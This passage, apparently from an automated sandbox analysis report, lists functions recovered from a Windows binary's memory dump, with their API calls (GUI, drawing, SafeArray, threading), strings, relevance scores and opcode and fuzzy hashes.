Opcode Fuzzy Hash: b7841597ff3ce7c0bb694647bf691c2f3274ec892851b389ef8e5a0c65b380bc
Instruction Fuzzy Hash: A241387560420AAFEF2CEF78D880FBA7BE8EB54308F50455EE249D7280EB319901CB11

Uniqueness

Uniqueness Score: -1.00%

Function 011D77B6, Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 011D77DD
SafeArrayAllocData.OLEAUT32(?), ref: 011D7836
VariantInit.OLEAUT32(?), ref: 011D7848
SafeArrayAccessData.OLEAUT32(?,?), ref: 011D7868
VariantCopy.OLEAUT32(?,?), ref: 011D78BB
SafeArrayUnaccessData.OLEAUT32(?), ref: 011D78CF
VariantClear.OLEAUT32(?), ref: 011D78E4
SafeArrayDestroyData.OLEAUT32(?), ref: 011D78F1
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 011D78FA
VariantClear.OLEAUT32(?), ref: 011D790C
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 011D7917

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: c1e6044b93008fb96e2fc276a93fd2e4777740fdbcbead4e8940459056abd507
Instruction ID: a7360160fa3fbf63aa4f7d275ceff2f5de035085106a9028bf066a562836a467
Opcode Fuzzy Hash: c1e6044b93008fb96e2fc276a93fd2e4777740fdbcbead4e8940459056abd507
Instruction Fuzzy Hash: B7416335E00219DFCB18DFA8E8889EDBBB9FF58318F008569F955A7250DB30A945CF94

Uniqueness

Uniqueness Score: -1.00%

Function 011E7F4B, Relevance: 15.3, APIs: 10, Instructions: 292COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000000,?), ref: 011E8027

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: ArraySafeVartype
String ID:
API String ID: 1725837607-0
Opcode ID: dbdad11728c08ecc22ed25f9b6a65c8a769f5994d00bc08d20fdaba66135f2b9
Instruction ID: 055a94b6b875586324240a08223661eba88653cceb70ff9ac87c3558d417b826
Opcode Fuzzy Hash: dbdad11728c08ecc22ed25f9b6a65c8a769f5994d00bc08d20fdaba66135f2b9
Instruction Fuzzy Hash: 48B19F75A00A0A9FEB18DFD8D488BBEBBF4EF58315F154029E611E7280D734D941CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0120C634, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 011829E2: GetWindowLongW.USER32(?,000000EB), ref: 011829F3

Part of subcall function 01182714: GetCursorPos.USER32(?), ref: 01182727
Part of subcall function 01182714: ScreenToClient.USER32 ref: 01182744
Part of subcall function 01182714: GetAsyncKeyState.USER32(00000001), ref: 01182769
Part of subcall function 01182714: GetAsyncKeyState.USER32(00000002), ref: 01182777

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?), ref: 0120C69C
ImageList_EndDrag.COMCTL32 ref: 0120C6A2
ReleaseCapture.USER32 ref: 0120C6A8
SetWindowTextW.USER32(?,00000000), ref: 0120C752
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 0120C765
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?), ref: 0120C847

Strings

@GUI_DRAGFILE, xrefs: 0120C7DC
@GUI_DROPID, xrefs: 0120C799

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 1924731296-2107944366
Opcode ID: 5f4c0d6b66b5089dc26d9beaa3f07b61039d9fa5981b8d36536358090777e75d
Instruction ID: 883960ca046688d83ac85695b3c35008eeebff3b996f06cdcdb9cd4e7a6dd3d4
Opcode Fuzzy Hash: 5f4c0d6b66b5089dc26d9beaa3f07b61039d9fa5981b8d36536358090777e75d
Instruction Fuzzy Hash: 8251F074614302AFEB19EF14D848F6A7BE1FBA4314F008A1DF565872E1CB30A955CF52

Uniqueness

Uniqueness Score: -1.00%

Function 01182F42, Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32 ref: 011BC638
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 011BC65A
LoadImageW.USER32 ref: 011BC672
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 011BC690
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 011BC6B1
DestroyIcon.USER32(00000000), ref: 011BC6C0
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 011BC6DD
DestroyIcon.USER32(?), ref: 011BC6EC

Part of subcall function 0120AAD4: DeleteObject.GDI32(00000000), ref: 0120AB0D

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
String ID:
API String ID: 2819616528-0
Opcode ID: f2be050e13ad49de6b27db4d06bf8bd2b7875f936aab393e06005e20cc11f30d
Instruction ID: af3a46aecc197fa9dfb357e4fa907ff29f34d08ec8f79e9ddff5ecd1d8482cde
Opcode Fuzzy Hash: f2be050e13ad49de6b27db4d06bf8bd2b7875f936aab393e06005e20cc11f30d
Instruction Fuzzy Hash: EA517E74600205AFDB29EF28D889FAA7BF5FB54710F104518F952D7290DB70E890DF51

Uniqueness

Uniqueness Score: -1.00%

Function 011FA20D, Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 352COMMON

Download Yara Rule

Strings

NULL Pointer assignment, xrefs: 011FA28E, 011FA5B2
Not an Object type, xrefs: 011FA265

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: f7604a24363e11c507a4c417fc12a0c5513d70bd6ee195fb1cc0a9363b7c767f
Instruction ID: c077e9408b4f35c07f8dbacfe1399fa7f2742f07ac29ec9e97b9c6415b8dc261
Opcode Fuzzy Hash: f7604a24363e11c507a4c417fc12a0c5513d70bd6ee195fb1cc0a9363b7c767f
Instruction Fuzzy Hash: 1BC1A571A0021A9FDF18DF98D884AAEB7F5FF48314F14846DEA09AB280E774ED45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0120DB04, Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 011829E2: GetWindowLongW.USER32(?,000000EB), ref: 011829F3

GetSystemMetrics.USER32 ref: 0120DB42
GetSystemMetrics.USER32 ref: 0120DB62
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 0120DD9D
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 0120DDBB
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 0120DDDC
ShowWindow.USER32(00000003,00000000), ref: 0120DDFB
InvalidateRect.USER32(?,00000000,00000001), ref: 0120DE20
DefDlgProcW.USER32(?,00000005,?,?), ref: 0120DE43

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: c8e70a5bc0a686145bf7dd7018b0f158de32a5e8e6c307fc54d6f8fdf2d0ce59
Instruction ID: 0a274926c957e174feada032711770c938e307f14c485372fa912e1e0fd1fac0
Opcode Fuzzy Hash: c8e70a5bc0a686145bf7dd7018b0f158de32a5e8e6c307fc54d6f8fdf2d0ce59
Instruction Fuzzy Hash: D6B19D3151121AEFDF16CFADC5857BD7BB1FF44700F048269EE489A28AD770A990CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01182E2B, Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,011BC508,00000004,00000000,00000000,00000000), ref: 01182E9F
ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,011BC508,00000004,00000000,00000000,00000000,000000FF), ref: 01182EE7
ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,011BC508,00000004,00000000,00000000,00000000), ref: 011BC55B
ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,011BC508,00000004,00000000,00000000,00000000), ref: 011BC5C7

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: bef3ae70a6e29119dd151286229e7314fd7e92aeea2fa995a0afcb359bd1870b
Instruction ID: 785665c921c151d673f00e294d291bb2b27fb75770ba91df414e3e40080a476e
Opcode Fuzzy Hash: bef3ae70a6e29119dd151286229e7314fd7e92aeea2fa995a0afcb359bd1870b
Instruction Fuzzy Hash: 4841E670704690AEEB3FAB2C98CCB6A7F92AB95300F15C80DF547565D4CB71A481CF69

Uniqueness

Uniqueness Score: -1.00%

Function 01181800, Relevance: 10.7, APIs: 7, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 842d34b37d9166a6ae3bafbdb401c527aafbc9b4f1f9a4416b739ad628ef9dfb
Instruction ID: 1d038c8d10d925f372f7ae0597136d28683d126c7b48b42f099b74977779f33b
Opcode Fuzzy Hash: 842d34b37d9166a6ae3bafbdb401c527aafbc9b4f1f9a4416b739ad628ef9dfb
Instruction Fuzzy Hash: CE717C31900109FFDB18EF98C889EAEBB79FF86315F14C159F915AA251C7309A52CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0120B9C3, Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(016D70B0), ref: 0120BA5D
IsWindowEnabled.USER32(016D70B0), ref: 0120BA69
SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 0120BB4D
SendMessageW.USER32(016D70B0,000000B0,?,?), ref: 0120BB84
IsDlgButtonChecked.USER32(?,?), ref: 0120BBC1
GetWindowLongW.USER32(016D70B0,000000EC), ref: 0120BBE3
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 0120BBFB

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: 0ed51e3a569e865c3444652dd559fbff181cd270671be553cc6096c7c63b92c6
Instruction ID: c32a9117679399d878ab60fe477c4bcac86c9b519407a629901862dae4469db1
Opcode Fuzzy Hash: 0ed51e3a569e865c3444652dd559fbff181cd270671be553cc6096c7c63b92c6
Instruction Fuzzy Hash: 0671D238A10206AFEB36DF58C894FBA7BB5EF49301F104659FA5597296DB31A880CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0118218F, Relevance: 9.3, APIs: 6, Instructions: 254COMMON

Download Yara Rule

APIs

GetClientRect.USER32 ref: 011821B8
GetWindowRect.USER32 ref: 011821F9
ScreenToClient.USER32 ref: 01182221
GetClientRect.USER32 ref: 01182350
GetWindowRect.USER32 ref: 01182369

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: ac7e1807a81c7b277afe4e366facaba79e4e0dada771694cf0ad99d83c85c60f
Instruction ID: ec59821789f7b638feb4bd1e11bb6202640116a40826829ce4b8f757e2ca68fd
Opcode Fuzzy Hash: ac7e1807a81c7b277afe4e366facaba79e4e0dada771694cf0ad99d83c85c60f
Instruction Fuzzy Hash: BBB16939904249DBDF19DFA8C4807EEBBB1FF08310F148129ED59AB655EB30AA40CF65

Uniqueness

Uniqueness Score: -1.00%

Function 011E6A73, Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 011E6BC6
_memmove.LIBCMT ref: 011E6B01

Part of subcall function 01184D37: __itow.LIBCMT ref: 01184D62
Part of subcall function 01184D37: __swprintf.LIBCMT ref: 01184DAC

Part of subcall function 011A0FE6: _malloc.LIBCMT ref: 011A0FFE

_memmove.LIBCMT ref: 011E6B74
_memmove.LIBCMT ref: 011E6C5B
_memmove.LIBCMT ref: 011E6C74
_memmove.LIBCMT ref: 011E6C90

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: _memmove$__itow__swprintf_malloc
String ID:
API String ID: 83262069-0
Opcode ID: 0ab97d5c9a9064fd9af927d8f4cdde49d4d3f1a2774021875c4b09f76c91ef3c
Instruction ID: fd167a93db9eb56072cf41cec8c21b327d2d5eab9d9d46f9dfcac2e5113c4976
Opcode Fuzzy Hash: 0ab97d5c9a9064fd9af927d8f4cdde49d4d3f1a2774021875c4b09f76c91ef3c
Instruction Fuzzy Hash: 5F61DE34600A9BABCF09FFA4CC84EFE3BA8AF2520CF858558E9556B191DB309815CB51

Uniqueness

Uniqueness Score: -1.00%

Function 01181B41, Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 011829E2: GetWindowLongW.USER32(?,000000EB), ref: 011829F3

BeginPaint.USER32(?,?,?,?,?,?), ref: 01181B76
GetWindowRect.USER32 ref: 01181BDA
ScreenToClient.USER32 ref: 01181BF7
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 01181C08
EndPaint.USER32(?,?), ref: 01181C52

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: 0fbba8c22cfbde6af36794f862136c17c424e7aebdafedc4ece3b89dd753a0a5
Instruction ID: 73535cc72a8eccbdde582840bbcc198db44c7497c3dad56b7bc9bb07447f2bfb
Opcode Fuzzy Hash: 0fbba8c22cfbde6af36794f862136c17c424e7aebdafedc4ece3b89dd753a0a5
Instruction Fuzzy Hash: 5B41F331104300AFD725EF24D8C8FB63BF8EB55324F144A68F9A4872A5C7309845DF62

Uniqueness

Uniqueness Score: -1.00%

Function 0120BD10, Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(012477B0,00000000,016D70B0,?,?,012477B0,?,0120BC1A,?,?), ref: 0120BD84
EnableWindow.USER32(?,00000000), ref: 0120BDA8
ShowWindow.USER32(012477B0,00000000,016D70B0,?,?,012477B0,?,0120BC1A,?,?), ref: 0120BE08
ShowWindow.USER32(?,00000004,?,0120BC1A,?,?), ref: 0120BE1A
EnableWindow.USER32(?,00000001), ref: 0120BE3E
SendMessageW.USER32(?,0000130C,?,00000000), ref: 0120BE61

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 8a1e2a8631a35cff5c5764a92025fb54011e39e6584b15027365207b6fedac1e
Instruction ID: a5dfe9e7c41c4a81c6ac2d7a7f35b63f424db71d4a3180a61f892ff715d903c6
Opcode Fuzzy Hash: 8a1e2a8631a35cff5c5764a92025fb54011e39e6584b15027365207b6fedac1e
Instruction Fuzzy Hash: 79411C38610146AFDB37CF18D489B95BBE1BB09314F1842A9EB588F2E3CB31A845CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0120C552, Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 011816CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 01181729
Part of subcall function 011816CF: SelectObject.GDI32(?,00000000), ref: 01181738
Part of subcall function 011816CF: BeginPath.GDI32(?), ref: 0118174F
Part of subcall function 011816CF: SelectObject.GDI32(?,00000000), ref: 01181778

MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 0120C57C
LineTo.GDI32(00000000,00000003,?), ref: 0120C590
MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 0120C59E
LineTo.GDI32(00000000,00000000,?), ref: 0120C5AE
EndPath.GDI32(00000000), ref: 0120C5BE
StrokePath.GDI32(00000000), ref: 0120C5CE

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: eb510f443b20445ab816991516791d6249f7bd29853e1b911a08ac26cf8d6623
Instruction ID: 2b217ccc8dbe2443c2b043c690460117d128f72d8bdd261c998e394d9304b65c
Opcode Fuzzy Hash: eb510f443b20445ab816991516791d6249f7bd29853e1b911a08ac26cf8d6623
Instruction Fuzzy Hash: F1111E7600010DBFEF129F94EC88E9A7F6DEB14354F048151FA1856164CB719E95DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 011E77EB, Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 011E77FE
EnterCriticalSection.KERNEL32(?,?,0118C2B6,?,?), ref: 011E780F
TerminateThread.KERNEL32(00000000,000001F6,?,0118C2B6,?,?), ref: 011E781C
WaitForSingleObject.KERNEL32(00000000,000003E8,?,0118C2B6,?,?), ref: 011E7829

Part of subcall function 011E71F0: CloseHandle.KERNEL32(00000000,?,011E7836,?,0118C2B6,?,?), ref: 011E71FA

InterlockedExchange.KERNEL32(?,000001F6), ref: 011E783C
LeaveCriticalSection.KERNEL32(?,?,0118C2B6,?,?), ref: 011E7843

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 539cae14b59bbb440e266c6ed104d21ae4e1d9f57e930e7b118942ca3fe75b57
Instruction ID: b8c5a59c588911e5564d134edc9b5fcba998bd50fb136375f58c9198de95d748
Opcode Fuzzy Hash: 539cae14b59bbb440e266c6ed104d21ae4e1d9f57e930e7b118942ca3fe75b57
Instruction Fuzzy Hash: 25F08232541612ABE7356BA4FC8CEEB7B79FF65302F140425F60395098DFB95881CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 011B5312, Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 011B531E

Part of subcall function 011A593C: __FF_MSGBANNER.LIBCMT ref: 011A5953
Part of subcall function 011A593C: __NMSG_WRITE.LIBCMT ref: 011A595A
Part of subcall function 011A593C: RtlAllocateHeap.NTDLL(016C0000,00000000,00000001,?,00000004,?,?,011A1003,?), ref: 011A597F

_free.LIBCMT ref: 011B5331

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 9a7675a321f54cf670bda204860b4e54aec01757e4730bea84541aaeeda8453f
Instruction ID: 798c02f9741b4118336f42477efd43ef209754b1cc06fa4e2b618c19da175154
Opcode Fuzzy Hash: 9a7675a321f54cf670bda204860b4e54aec01757e4730bea84541aaeeda8453f
Instruction Fuzzy Hash: BB113A3680E216AFCB7D2F78A8886DE3F85AF24365F400429F9489A360DFB084408790

Uniqueness

Uniqueness Score: -1.00%

Function 011816CF, Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 01181729
SelectObject.GDI32(?,00000000), ref: 01181738
BeginPath.GDI32(?), ref: 0118174F
SelectObject.GDI32(?,00000000), ref: 01181778

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 632ea1becf5f710749fb921892e43a4138e119419f266b1441a09ae4ddef686c
Instruction ID: 183a38930b7a09ffecf504c59eba216a3889e70e1664559a6e57a1a1560e35bd
Opcode Fuzzy Hash: 632ea1becf5f710749fb921892e43a4138e119419f266b1441a09ae4ddef686c
Instruction Fuzzy Hash: 5921F535800608FFEB25EF28FC4CBA93BE8F700725F248219F82592198D7719492DF94

Uniqueness

Uniqueness Score: -1.00%

Function 011D7D07, Relevance: 7.6, APIs: 5, Instructions: 60stringCOMMON

Download Yara Rule

APIs

Part of subcall function 011D87E4: RaiseException.KERNEL32(8007000E,?,00000000,00000000,?,011D7D27,-C0000018,00000001,?,011D7C62,80070057,?,?,?,011D8073), ref: 011D87F1

CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,011D7C62,80070057,?,?,?,011D8073), ref: 011D7D45
ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,011D7C62,80070057,?,?), ref: 011D7D60
lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,011D7C62,80070057,?,?), ref: 011D7D6E
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,011D7C62,80070057,?), ref: 011D7D7E
CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,011D7C62,80070057,?,?), ref: 011D7D8A

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
